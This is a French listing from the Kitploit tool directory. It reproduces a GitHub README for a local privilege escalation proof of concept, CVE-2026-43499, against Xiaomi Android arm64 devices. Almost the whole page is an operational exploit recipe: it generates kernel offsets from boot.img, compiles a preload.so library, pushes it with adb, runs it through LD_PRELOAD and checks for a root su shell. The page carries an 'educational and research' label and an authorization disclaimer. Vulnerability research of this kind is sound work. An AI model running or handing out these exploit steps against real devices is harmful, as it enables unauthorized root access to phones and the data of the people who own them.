Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43499-Poc-Analysis — Analyse de vulnérabilité et preuve de concept (PoC) pour CVE-2026-43499 affectant les appareils Xiaomi. Uniquement à des fins éducatives et de recherche. | Kitploit
Outils/GitHubGitHub/xianwan1314/cve-2026-43499-poc-analysis
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationDéveloppement de Charges UtilesExploitation de Binaires
GitHubxianwan1314/cve-2026-43499-poc-analysis

CVE-2026-43499-Poc-Analysis

Analyse de vulnérabilité et preuve de concept (PoC) pour CVE-2026-43499 affectant les appareils Xiaomi. Uniquement à des fins éducatives et de recherche.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1047il y a 1 moisPas encore vérifié

CVE-2026-43499 Android arm64 – Adaptation de l'élévation de privilèges locale

Anglais | Chinois


Il s'agit d'un projet d'adaptation de l'élévation de privilèges locale Android arm64 pour CVE-2026-43499.

Le projet génère target.h à partir du boot.img de l'appareil cible et des informations du profil, puis compile le preload.so correspondant.

Remarque : ce projet est un framework d'adaptation générique, non lié à un modèle unique. Sa pertinence réelle dépend de la réussite de generate_target.py à générer target.h ainsi que des résultats des tests sur appareil réel.


Structure du répertoire

root@kitploit:~
项目目录/
├── boot.img                  # 目标设备同固件 boot 镜像
├── profile_xxx.json           # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

Dépendances requises

Dépendances de base

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Environnement recommandé sous Windows

Sous Windows, il est recommandé d'utiliser :

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Installer make dans MSYS2 :

root@kitploit:~
pacman -S make coreutils

Fichiers à préparer

Vous devez préparer :

root@kitploit:~
boot.img
profile_xxx.json

Exemple de profil :

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Ces deux adresses dans le profil :

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

Ils peuvent être obtenus en exécutant le script sur un téléphone déjà rooté et avec le même firmware que le boot.img cible :

root@kitploit:~
python3 detect_offset.py

Sous Windows, c'est aussi possible :

root@kitploit:~
python detect_offset.py

Étapes d'utilisation

1. Accéder au répertoire du projet

Linux / macOS :

root@kitploit:~
cd /path/to/project

Exemple sous Windows MSYS2 :

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. Définir le chemin du NDK

Exemple Linux / macOS :

root@kitploit:~
export ANDROID_NDK_HOME=/path/to/android-ndk

Exemple Windows MSYS2 :

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. Générer target.h

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Sous Windows, si python3 n'est pas disponible, utilisez :

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

S'il est indiqué que llvm-objdump est introuvable, spécifiez manuellement le chemin :

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

En cas de succès, vous verrez quelque chose comme :

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Compiler preload.so

Linux / macOS :

root@kitploit:~
make -C source clean preload

Windows MSYS2 :

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

En cas de succès, les éléments suivants seront générés :

root@kitploit:~
source/build/bin/preload.so

5. Envoyer sur l'appareil et exécuter

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Vérification :

root@kitploit:~
adb shell '/data/local/tmp/su -c id'

En cas de succès, vous verrez généralement :

root@kitploit:~
uid=0(root) gid=0(root)

Processus en une commande sous Windows MSYS2

Exemple avec vos chemins :

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

Fichier final :

root@kitploit:~
source/build/bin/preload.so

Problèmes courants

llvm-objdump introuvable

Installez LLVM, ou utilisez :

root@kitploit:~
--llvm-objdump "/path/to/llvm-objdump"

make introuvable

Sous Windows, installez-le avec MSYS2 :

root@kitploit:~
pacman -S make coreutils

clang introuvable

Le chemin du NDK n'est généralement pas correctement configuré.

Exemple Windows MSYS2 :

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

Échec de la génération de target.h

Cela signifie généralement que le boot.img actuel ou la disposition du noyau n'a pas encore été adapté avec succès.

Vérifiez en particulier :

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

Attention

  • Après avoir changé d'appareil, de système ou de noyau, vous devez régénérer target.h.
  • Il n'est pas recommandé de modifier target.h manuellement ; il doit être généré automatiquement par generate_target.py.
  • Veuillez l'utiliser uniquement sur des appareils et dans des environnements pour lesquels vous disposez d'une autorisation.
Télécharger l’outil